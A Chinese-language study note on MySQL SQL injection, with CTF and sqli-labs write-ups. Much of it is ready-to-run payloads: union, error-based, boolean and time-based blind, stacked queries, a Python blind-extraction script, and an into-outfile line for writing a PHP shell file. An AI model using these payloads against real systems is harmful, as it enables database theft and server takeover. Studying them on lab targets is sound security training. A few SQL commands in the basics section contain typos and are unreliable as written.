1.mysql数据库的一些基本使用:增删改查
2.python脚本的使用
3.了解php中常见的与mysql相关的函数和类
1.基础操作
查看库名:
mysql> show databases;
创建库:
mysql> creat database test;
删除库:
mysql> drop database test;
使用库:
mysql> user test
创建表:
mysql> create table test(
-> `id` int(11),
-> `name` varchar(255)
->);
表的一些基本操作:
1.insert(增
insert into test values('1','yer');
2.delete(删
delete from test where xxxx;
3.update(改
update test set name='x' where id = 1;
4.select(查
select * from test;
# * 实现输出所有字段
2.常用的变量、符号、函数
常用变量:
database() //查看当前数据名
user() //用户
version() //mysql版本
@@basedir //安装路径
逻辑运算符
1.& and
2.|| or
3.^ xor
常用函数
1.字符串截取:
substr(database(),1,1) //从1位置开始截取长度为1 substring
mid(database(),1,1)
left(database(),1) //左边开始截取长度为1
right(database(),1)
2.编码函数
ascii()
hex()
char()
3.文件函数
load_file //读取文件内容
1.闭合
如果语句中有多余的和单引号或者其他符号就会报错,所有要进行闭合
常见注释符:
%23(#)
--+
;%00 //利用00截断
`
or '1'='1
ban了注释符和单引号
使用反斜杠进行转义
1.联合查询注入
基本要求:
1.查询列数必须一致
2.查询语句的查询的各列类型、顺序最好一致
步骤:
1.闭合
2.判断字段数
3.判断结果输出位置
4.爆库、爆表、爆列
#order by:如果后面接的是整形的话,根据第几个字段进行排序
#union:合并结果
#information_schema数据库中,table表提供关于数据库中表的信息,columns表提供表中列信息
利用sqlilabs
进行试验
查询字段数:
order by 4
查询结果输出位置:
union select 1,2,3
爆库:
union select 1,2,database()
爆表:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=''
2.报错注入
在没法用联合查询时使用,报错注入就是利用了数据库的某些机制,人为的制造错误条件,使得查询结果能够出现在错误信息中
原理:
路径写入其他格式,就会报错并且会返回我们写入非法格式内容,我们可以利用这个得到我们想得到的内容
tips:
报错注入有长度限制,不同的函数限制不一样
常用函数:
1.updatexml:更新xml文档的函数
2.extractvalue:对xml文档进行查询的函数
//updatexml的最大长度是32位的,所以有所局限,如果密码长度超过了32位就不会被显示出来,可以用right函数
常用语句:
updatexml(1,concat(0x7e,database(),0x7e),1)
//之后修改中间concat的语句即可
3.盲注
根据sqlilabs进行学习
只有两种回显(永真 永假)的时候,为布尔盲注
步骤:
1.闭合
2.找到永真和永假的两种情况
3.利用这两种情况进行对数据进行一位一位的获取
涉及函数:
substr
ascii
语句:
and ascii(substr(database(),1,1))>1
通过时间差导致的两种不同的回显的注入,为时间盲注
时间盲注中可以使用if表达式和sleep函数
//if(expr1,1,sleep(5))
//如果expr1为true则搜索1,反之则触发sleep实现延时差
1.sleep
2.benchmarkdui
3.笛卡尔积
爆破还可以利用python脚本
4.堆叠注入
mysql
1' ;show tables# (查看表)
1' ;create table test like users#(创建新表)
1' ;drop table test#(删除新创建的表)
1' ;select 1,2,3#(查询数据)
1' ;select load_file('c:/tmpupbbn.php')#(加载文件)
1' ;insert into users(id,username,password)
values('100','new','new')#(修改数据)
1' ;rename tables
利用 HANDLER 读取数据
1';handler ` ` open;handler ` ` read first;handler ` ` close;#
可以将数据库中的数据写入文件中
条件:
1.设置security-file-priv为Null
2.设置路径
3.文件不存在
4.有权限
文件读取函数:
load_file('文件绝对路径')
写文件函数:
into outfile
into dumpfile
//区别在于,因为into outfile函数会在行末端写入新行更致命的是会转义换行符,所有如果是利用mydql写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏,这时候我们用into dumpfile就能导出一个完整能执行的二进制文件
写文件–>写shell
读文件—DNSLOG外带
前置知识:
1.UNC路径:
(只存在于windows中
unc路径就是类似\\softer这样的形式的网络路径
格式:\\servername\sharename 其中servername是服务器名,sharename是共享资源的名称
条件:
1.设置security-file-priv为null
2.目标为windows
学习资料:
https://www.anquanke.con/post/id/205376
0x01:打开场景
访问robots.txt
发现有hint.txt
所有可以知道注入点是password
,并且要闭合单引号
而在简单尝试之后发现单引号和很多关键词(如 select)被ban掉了
所有可以判断是盲注
但单引号被ban了的话,那有可能就是整数型注入
0x02:解题
可以让:
username=admin\&password=or 1#
以为sql语句为:
select * ffrom users where username=' ' and password= ' ';
这样的话\
反引号会将后面的单引号进行转义,使得语句变成username=' and password=' '
就会出现注入点
username=admin\&password=or 1#
1.脚本爆破
还不会写脚本 只能用师傅们的脚本了
import requests
import time
session = requests.Session()
def main():
name=''
for i in range(20):
left=32
right=128
tmp=(right+left)//2
while left%d #"%(i+1,tmp)
headers = {"Origin":"http://de11dedb-dc0c-43c0-ae60-b80504bf8c42.node3.buuoj.cn","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0","Connection":"keep-alive","Referer":"http://6134825b-d5cd-4872-a2ef-2415403ee7e0.node3.buuoj.cn/index.php","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://ed6dabca-b283-460e-977d-5a3d0308fe04.node3.buuoj.cn/index.php", data=paramsPost, headers=headers)
if 'stronger' in response.text:
left=tmp+1
tmp=(right+left)//2
else:
right=tmp
tmp=(right+left)//2
name += chr(tmp)
print(name)
time.sleep(2)
main()
//password:OhyOuFOuNdit
用admin登录得到flag
2.bp手注
核心注入语句:
ascii(substr(password,1,1))>32#
经过测试之后得到永真和永假回显
永真:
永假:
之后就是一位一位地进行测试得到password
username=admin\&password=or ascii(substr((password),1,1))>80 # //假
username=admin\&password=or ascii(substr((password),1,1))<80 # //真
username=admin\&password=or ascii(substr((password),1,1))>55 # //真
username=admin\&password=or ascii(substr((password),1,1))>67 # //真
username=admin\&password=or ascii(substr((password),1,1))>73 # //真
username=admin\&password=or ascii(substr((password),1,1))>79 # //假
username=admin\&password=or ascii(substr((password),1,1))<79 # //真
所有首位ascii码值为79是O
,其他的类似,太长了,就不一一写出来了
参考
https://blog.csdn.net/stevenonesir/article/details/111697089
https://blog.csdn.net/qq_41628669/article/details/106133127
0x01:打开场景
是一个登陆界面,但并没有什么阻碍,直接注册并登录就行了,登录进去之后有广告申请
由于内容有字数限制,所有注入点应该在广告名上
0x02:解题
空格被过滤了可以用/**/
代替
1)先爆破列数
or
也被过滤了,所以不能用order by
,可以用group by
1' /**/ group /**/ by /**/ 1,'1
-1' /**/ union /**/ select /**/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
3)爆破数据
已知or
被过滤了,因此information_schema
也不能使用,而在查询版本的时候发现这个是用的是MariaDB
mysql.innodb_table_stats
可以知道MariaDB中mysql.innodb_table_stats
可以代替information_schema
爆表
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
之后用到了无列名注入
SQLi Extracting data without knowing columns names
payload:
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
参考:
https://www.anquanke.com/post/id/193512
https://blog.csdn.net/weixin_43900387/article/details/103534108
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
https://www.jianshu.com/p/dc9af4ca2d06
输入1 和 2-1 之后发现两个回显不相同 所以是字符型注入
尝试添加’注入,发现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这里我们就可以直接发现报错的地方,直接将后面注释,然后使用
1' order by 3%23 //得到列数为3
//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //得到表名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'# //得到列名
-1' union select 1,username,password from users where id=3# //爆破得到数据
在添加’之后,得到返回
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如
select * from users where id=1
所以我们也可以跟上面一样,payloads:
-1 or 1=1%23
添加’之后,返回
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以得到大概的sql语句:
select * from users where id=('input') LIMIT 0,1;
所以我们可以需要闭合)。
-1') or 1=1%23
尝试’并未发现报错,尝试”发现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
可以得到大概的sql语句
select * from users where id = ("input") LIMIT 0,1;
所以payload:
-1") or 1=1 %23
其他注入语句同上 ,就不再一一列举了。
尝试’发现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
猜测sql语句为
select * from users where id='input' LIMIT 0,1;
如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...
,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。
例如我们可以使用1' and left(version(),1)=3%23
这个payload进行测试,截取version()
得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...
,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5
。爆破区间可以确定在/[0-9.]/
。
采用1'and length(database())=8%23
对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()
来进行爆破数据库名,采用left(database(),1)>'a'
这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。
也可以采用substr()、ascii()函数进行尝试:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23
//截取数据库下第一个表的第一个字符与80ascii值进行对比
找第二个字符只需要改成substr('xxx',2,1)即可。
找第二个表改成limit 1,1
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)将username转换成字符串
//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
//ord前文提过
推荐一篇超详细的讲解报错注入的文章
Mysql报错注入原理分析(count()、rand()、group by)
超链接:https://www.cnblogs.com/xdans/p/5412468.html
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x#
1' union select (!(select * from (select user())x) - ~0),2,3 --+
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
?id=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
没有回显,可以使用布尔盲注
1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
可以发现>100
有回显,小于就没有,也可以用报错注入…
这里就是把Less-5 中的'
改成"
就行了
报错注入:
0x01:报错数据库
1" and (select 1 from(select count(*),concat(floor(rand(0)*2),(select(select schema_name) from information_schema.schemata limit 0,1),0x7e)x from information_schema.tables group by x)a)%23
0x02:报错表
1" and (select 1 from(select count(*),concat(floor(rand(0)*2),(select(select table_name) from information_schema.tables where table_schema='ctftraining' limit 0,1),0x7e)x from information_schema.tables group by x)a)%23
0x03:报错列
1" and (select 1 from(select count(*),concat(floor(rand(0)*2),(select (select column_name) from information_schema.columns where table_schema='ctftraining' and table_name='users' limit 0,1),0x7e)x from information_schema.tables group by x)a)%23
0x04:报数据
1" and (select 1 from (select count(*),concat(floor(rand(0)*2),(select (select(select concat('username',0x7e,'password',0x7e) from ctftraining.users limit 0,1)) from information_schema.tables limit 0,1),0x7e)x from information_schema.tables group by x)a)%23
使用文件导出
1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23
1'))UNION SELECT 1,2,'' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
关于mysql修改文件权限
查看:
show variables like '%secure%';
修改mysql文件夹里面的my.ini 在第二个default下面添加:
secure_file_priv="/"
之后重启mysql
可以使用时间盲注,也可以用 bool 盲注
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
同 Less-8 可以使用时间盲注
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
基于错误的post型单引号字符型注入
登录界面注入,万能注入语句:
1'or 1=1#
-1' order by 2#
-1' union select 1,database()#
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
-1' union select username,password from users where id=2#
//爆数据
1' union select null,group_concat(concat_ws(0x7e,username,password)) from security.users#
1") or 1=1#
盲注
*和第五题类似
select length(database())
if(length(database())=8,sleep(6),1)
security/ctftraining
tables:
emails/referer/uagents/users
users-columns:
user/current_con/total/id/username/password
猜解库:
1') or if(length(database())=8,1,sleep(5))#
1') or left(database(),1)>='m'#
猜解表:
1') or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>='a'#
猜解列:
1') or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>='a'#
1') or ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),8,1))>120#
1') or substr((select column_name from information_schema.columns where table_name='users' limit 1,1),8,1)>'a'#
1') union select count(*),concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a#
1') union select count(*),concat(0x7e,(select database() ),0x7e ,floor(rand(0) *2 ) ) as a from information_schema.tables group by a#
1') union select count(*), concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a#
//通过改变'limit 1,1)' 查找各种表
1') union select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a#
1') union select count(*),concat(0x7e,(select concat_ws('0x7e',password,0x7e,username) from users limit 1,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a#
盲注
和13一样
1" or 1=1#
1' or 1=1#
1' or ascii(substr(database(),1,1))=115#
1") or 1=1#
1") or ascii(substr(database(),1,1))=115#
username被过滤 password处注入
1' or 1=1#
//猜解库
1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit
//猜解表(但只有一个
1' and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit
(·)。updatexml()
函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target
:原来的xml,也就是要替换的目标;
(·)。xpath_expr
:xpath的表达式;
(·)。new_xml
:替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
' or updatexml(1,concat('#',(Clause。。)),1)#
//猜解库
1' or updatexml(1,concat('#',(select database())),1)#
//猜解表
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#&sub mit=Submit
//猜解字段
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
//爆数据
' or updatexml(1,concat('~',(select * from (select concat_ws(' ',id,username,password) from users limit 0,1) a)),1)#
在useragent注入
//三个1是插入三个数据
1' ,1,1)#
//有返回:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')#', '172.16.170.85', 'admin')' at line 1
//猜解库
1',1,updatexml(1,concat(0x3a,database(),0x3a),1))#
//猜解表
1',1,updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x3a),1))#
//猜解字段
1',1,updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x3a),1))#
//爆数据
1' ,1,updatexml(1,concat(0x3a,(select concat_ws(' ',id,username,password) from users limit 0,1),0x3a),1))#
在referer注入
1'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '172.16.170.85')' at line 1
//猜解库
1' and updatexml(1,concat(0x3a,database(),0x3a),1))#
//猜解表
1',updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x3a),1))#
//接下来和18一样